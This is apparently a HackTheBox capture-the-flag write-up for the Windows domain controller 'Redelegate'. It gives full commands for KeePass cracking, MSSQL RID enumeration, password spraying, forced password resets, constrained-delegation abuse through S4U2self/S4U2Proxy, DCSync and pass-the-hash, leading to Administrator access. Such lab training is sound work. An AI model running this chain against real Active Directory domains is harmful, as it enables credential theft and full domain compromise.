All writeups
HackTheBox: Redelegate avatar
MACHINE Windows HackTheBox 4/5

HackTheBox: Redelegate

2026-06-08 10 min read
Tracks CPTS

Introduction

Redelegate is a Windows Domain Controller that chains five distinct misconfigurations together, starting from anonymous FTP all the way to full domain compromise. Each step hands off cleanly to the next - this is one of the best boxes for learning how real-world AD attack paths are built. The path to root:

  1. Enumeration → anonymous FTP exposes a KeePass database and two text files
  2. Crack the KeePass vault → hint in the text files → season-based wordlist → Fall2024!
  3. MSSQL RID brute-force → SQLGuest login → enumerate all domain usernames via SID walking
  4. Password sprayMarie.Curie reused Fall2024! as her domain password
  5. BloodHoundMarie.Curie is in HelpDeskForceChangePassword over Helen.Frost
  6. Change Helen’s password → get a WinRM shell as Helen.Frost (user flag here)
  7. Constrained Delegation setupHelen.Frost has SeEnableDelegationPrivilege + GenericAll over FS01$
  8. Configure FS01$ for constrained delegation → set password, set TRUSTED_TO_AUTH_FOR_DELEGATION, set msDS-AllowedToDelegateTo = cifs/dc.redelegate.vl
  9. S4U2self + S4U2Proxy → impersonate the DC machine account → get a CIFS ticket to the DC
  10. DCSync → Pass-the-Hash → dump Administrator hash → WinRM as Administrator → root flag

Key Concepts

What is a KeePass .kdbx file? KeePass is a password manager that stores credentials in an encrypted database. The .kdbx format is protected by a master password. If that password is weak enough, keepass2john can extract a crackable hash and john can break it with a wordlist.

What is MSSQL RID brute-forcing? Every Windows account has a Security Identifier (SID). Domain SIDs share the same prefix and end with a unique RID (Relative ID) number. Even with limited SQL access, MSSQL can call built-in functions like SUSER_SNAME() to resolve SIDs to usernames. By iterating through RID numbers, you can enumerate every domain user - no LDAP access required.

What is a password spray? Instead of trying many passwords against one account (which triggers lockout), a spray tries one password against many accounts. Here we take the KeePass master password and test it against every username we just enumerated.

What is ForceChangePassword? An Active Directory ACL right that allows the holder to reset another user’s password - without knowing their current one. It’s different from a normal password reset because it bypasses the “confirm old password” check. If HelpDesk members have this right over user accounts, it’s a privilege escalation path.

What is SeEnableDelegationPrivilege? A Windows user right titled “Enable computer and user accounts to be trusted for delegation.” Normally only Domain Admins can configure Kerberos delegation on accounts. This privilege grants that same ability to any account it’s assigned to - making it extremely powerful.

What is Constrained Delegation? A Kerberos feature that allows a service account to impersonate any user when accessing a specific set of target services. It’s configured via the msDS-AllowedToDelegateTo LDAP attribute. Combined with the TRUSTED_TO_AUTH_FOR_DELEGATION flag (Protocol Transition / S4U2self), the account can impersonate any user - including Domain Admins - against the listed service, without needing the target user’s credentials.

What is S4U2self + S4U2Proxy? Two Kerberos extensions used by constrained delegation. S4U2self lets a service request a ticket to itself on behalf of any user. S4U2Proxy then uses that ticket to request access to the target service (in our case cifs/dc.redelegate.vl) on that user’s behalf. The result is a valid service ticket that the DC accepts as if the impersonated user actually authenticated.

What is DCSync? A technique that abuses the MS-DRSR replication protocol. Domain Controllers use it to sync with each other. If you can present valid DC credentials (or a service ticket granting DC-level access), you can ask a DC to “replicate” any account’s password hash to you - without touching the disk or running code on the DC itself.


Enumeration

Nmap

ports=$(nmap -Pn -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -Pn -p$ports -sC -sV <TARGET>

Key open ports:

PortServiceNotes
21FTP - anonymous login allowedHas files visible without credentials
88KerberosConfirms Domain Controller
389 / 636LDAP / LDAPSDomain: redelegate.vl
445SMB
1433MSSQL 2019Non-default on a DC - investigate
5985WinRMRemote management
3389RDP

Two unusual services on a DC: anonymous FTP and MSSQL. Start with FTP.

FTP: Anonymous access

ftp <TARGET>
# Name: anonymous
# Password: (blank)
ftp> binary
ftp> mget *

Downloads: CyberAudit.txt, TrainingAgenda.txt, Shared.kdbx

Why binary mode for the .kdbx? FTP defaults to ASCII transfer mode, which mangles binary files by converting line endings. KeePass databases are binary - always switch to binary mode before downloading them, or the file will be corrupted and uncrackable.

Read the text files. TrainingAgenda.txt warns staff against weak passwords like SeasonYear! and gives Spring2024! as an example to avoid.


Crack the KeePass Database

Build a targeted wordlist

The training document is a hint - create a small seasonal wordlist:

Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Winter2024!

Extract and crack the hash

keepass2john Shared.kdbx > Shared.kdbx.hash
john --wordlist=pass.txt Shared.kdbx.hash

KeePass master password: Fall2024!

Open the database

Open Shared.kdbx with keepassxc using Fall2024!. It contains four entries for domain users:

  • FS01 Admin → Administrator
  • FTP → FTPUser (marked Deprecated)
  • SQL Guest AccessSQLGuest : zDPBpaF4FywlqIv11vii
  • WEB01 → WordPress credentials

None of the domain user passwords work directly for SMB/WinRM - but the SQLGuest credentials are valid for a local MSSQL login.


MSSQL: RID Brute-Force to Enumerate Domain Users

Confirm the SQL login

netexec mssql <TARGET> -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
# [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii

Enumerate domain accounts via SID walking

Even a guest SQL login can call SUSER_SNAME() to resolve domain SIDs to usernames. Use Metasploit’s module to iterate through all RIDs:

msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 > set RHOST <TARGET>
msf6 > set USERNAME SQLGuest
msf6 > set PASSWORD zDPBpaF4FywlqIv11vii
msf6 > set FUZZNUM 9999
msf6 > exploit

This returns a full list of domain accounts including Marie.Curie, Helen.Frost, Ryan.Cooper, sql_svc, and groups like HelpDesk and Finance.

Save the usernames to users.txt.


Password Spray → Marie.Curie

netexec smb redelegate.vl -u users.txt -p pass.txt

Hit: REDELEGATE\Marie.Curie : Fall2024!

She reused the KeePass master password as her domain password - exactly the kind of weak practice the training document warned against.

Check what Marie can do - MachineAccountQuota is 0 (can’t add computers) and DNS writes are blocked. Time to map the domain with BloodHound.

Run BloodHound

bloodhound-python -u 'marie.curie' -p 'Fall2024!' -d redelegate.vl \
  -dc dc.redelegate.vl --zip -c All -ns <TARGET>

Upload the zip to BloodHound. Key finding:

Marie.Curie → MemberOf → HelpDesk → ForceChangePassword → Helen.Frost
Helen.Frost → CanPSRemote → DC.redelegate.vl
Helen.Frost → MemberOf → IT → GenericAll → FS01$

Foothold: Force-Change Helen.Frost’s Password → WinRM

Get a TGT for Marie.Curie

impacket-getTGT redelegate.vl/marie.curie:'Fall2024!'
export KRB5CCNAME=marie.curie.ccache

Force-change Helen’s password with BloodyAD

bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
  set password "HELEN.FROST" 'Password1!'
# [+] Password changed successfully!

What is ForceChangePassword? This AD right lets you set a new password for another account without knowing the current one. Normally only admins can do this. The HelpDesk group having it over Helen.Frost means anyone in HelpDesk can take over that account instantly.

WinRM as Helen.Frost

evil-winrm -i redelegate.vl -u HELEN.FROST -p 'Password1!'
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents>

User flag captured. C:\Users\Helen.Frost\Desktop\user.txt


Privilege Escalation: Constrained Delegation → DCSync → Administrator

Check Helen’s privileges

whoami /priv
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation   Enabled

Why does SeEnableDelegationPrivilege matter? Normally only Domain Admins can set the TRUSTED_TO_AUTH_FOR_DELEGATION flag or write to msDS-AllowedToDelegateTo on AD objects. This privilege grants the same ability to regular accounts - a severe misconfiguration.

BloodHound also shows: Helen.Frost → MemberOf → IT → GenericAll → FS01$

GenericAll means full control over the FS01$ machine account - we can change its password and modify any of its attributes.

Step 1: Get a TGT for Helen.Frost

impacket-getTGT redelegate.vl/HELEN.FROST:'Password1!'
export KRB5CCNAME=HELEN.FROST.ccache

Step 2: Set a known password on FS01$

bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
  set password "FS01$" 'Password1!'
# [+] Password changed successfully!

Verify:

netexec smb redelegate.vl -u 'FS01$' -p 'Password1!'
# [+] redelegate.vl\FS01$:Password1!

Step 3: Enable Protocol Transition (S4U2self)

bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
  add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
# ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$ userAccountControl

What is TRUSTED_TO_AUTH_FOR_DELEGATION? This flag (also called Protocol Transition) enables S4U2self - allowing FS01$ to request a service ticket to itself on behalf of any user, without that user’s password or TGT. It’s the key that makes impersonation possible.

Step 4: Set the delegation target

bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" \
  set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
# [+] FS01$'s msDS-AllowedToDelegateTo has been updated

What does this do? msDS-AllowedToDelegateTo is the list of services that FS01$ is trusted to act on behalf of users for. Setting it to cifs/dc.redelegate.vl means FS01$ can impersonate any user (including Administrator) when accessing the DC’s file system (CIFS). This is constrained delegation - constrained to that one service.

Step 5: S4U2Proxy: impersonate the DC machine account

impacket-getST redelegate.vl/fs01\$:'Password1!' \
  -spn cifs/dc.redelegate.vl \
  -impersonate dc
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc.ccache

Why impersonate dc (the machine account)? The DC’s machine account (DC$) has DCSync rights by default - it’s how real Domain Controllers replicate with each other. By impersonating it, we can call the replication API and request any account’s hash.

Step 6: DCSync: dump the Administrator hash

export KRB5CCNAME=dc.ccache
impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::

Step 7: Pass-the-Hash → Administrator shell

evil-winrm -i redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Root flag captured. C:\Users\Administrator\Desktop\root.txt


Summary

nmap → port 21 (FTP anonymous), port 1433 (MSSQL)

ftp anonymous → Shared.kdbx + TrainingAgenda.txt + CyberAudit.txt

TrainingAgenda.txt → "avoid SeasonYear! passwords" → seasonal wordlist

keepass2john + john → KeePass master: Fall2024!

KeePass entries → SQLGuest:zDPBpaF4FywlqIv11vii (local MSSQL login)

mssql_enum_domain_accounts → RID brute-force → full domain user list

netexec password spray → Marie.Curie:Fall2024! (password reuse)

bloodhound-python → Marie.Curie → HelpDesk → ForceChangePassword → Helen.Frost
                                  Helen.Frost → CanPSRemote → DC
                                  Helen.Frost → IT → GenericAll → FS01$

impacket-getTGT (marie.curie) → bloodyAD set password Helen.Frost → Password1!

evil-winrm Helen.Frost → whoami /priv → SeEnableDelegationPrivilege ← key!
→ USER FLAG

impacket-getTGT (Helen.Frost)
bloodyAD set password FS01$ → Password1!           (GenericAll)
bloodyAD add uac FS01$ TRUSTED_TO_AUTH_FOR_DELEGATION  (SeEnableDelegationPrivilege)
bloodyAD set msDS-AllowedToDelegateTo = cifs/dc.redelegate.vl

impacket-getST -spn cifs/dc.redelegate.vl -impersonate dc → dc.ccache

impacket-secretsdump -k → Administrator:ec17f7a2a4d96e177bfd101b94ffc0a7

evil-winrm -H <hash> → htb\administrator → ROOT FLAG

Tools Used

ToolWhat it doesHow to get it
keepass2johnExtracts a crackable hash from a .kdbx KeePass databaseBuilt into Kali (john suite)
johnPassword cracker (used here for the KeePass hash)sudo apt install john
keepassxcOpens and reads KeePass databasessudo apt install keepassxc
netexec (nxc)Swiss-army AD tool - MSSQL auth, SMB spray, WinRM, MAQ checkspip install netexec
Metasploit mssql_enum_domain_accountsRID brute-forces domain accounts via MSSQL’s SID resolutionBuilt into Metasploit
bloodhound-pythonCollects AD data for BloodHound graph analysispip install bloodhound
BloodHoundVisualises AD attack pathsgithub.com/BloodHoundAD/BloodHound
impacket-getTGTRequests a Kerberos TGTPart of impacket
BloodyADPerforms LDAP-based AD modifications (password changes, UAC flags, attribute writes)pip install bloodyad
impacket-getSTRequests a service ticket via S4U2self + S4U2Proxy (constrained delegation abuse)Part of impacket
impacket-secretsdumpDCSync - dumps domain hashes using the DRSUAPI replication protocolPart of impacket
evil-winrmWinRM shell; supports Pass-the-Hash with -Hgem install evil-winrm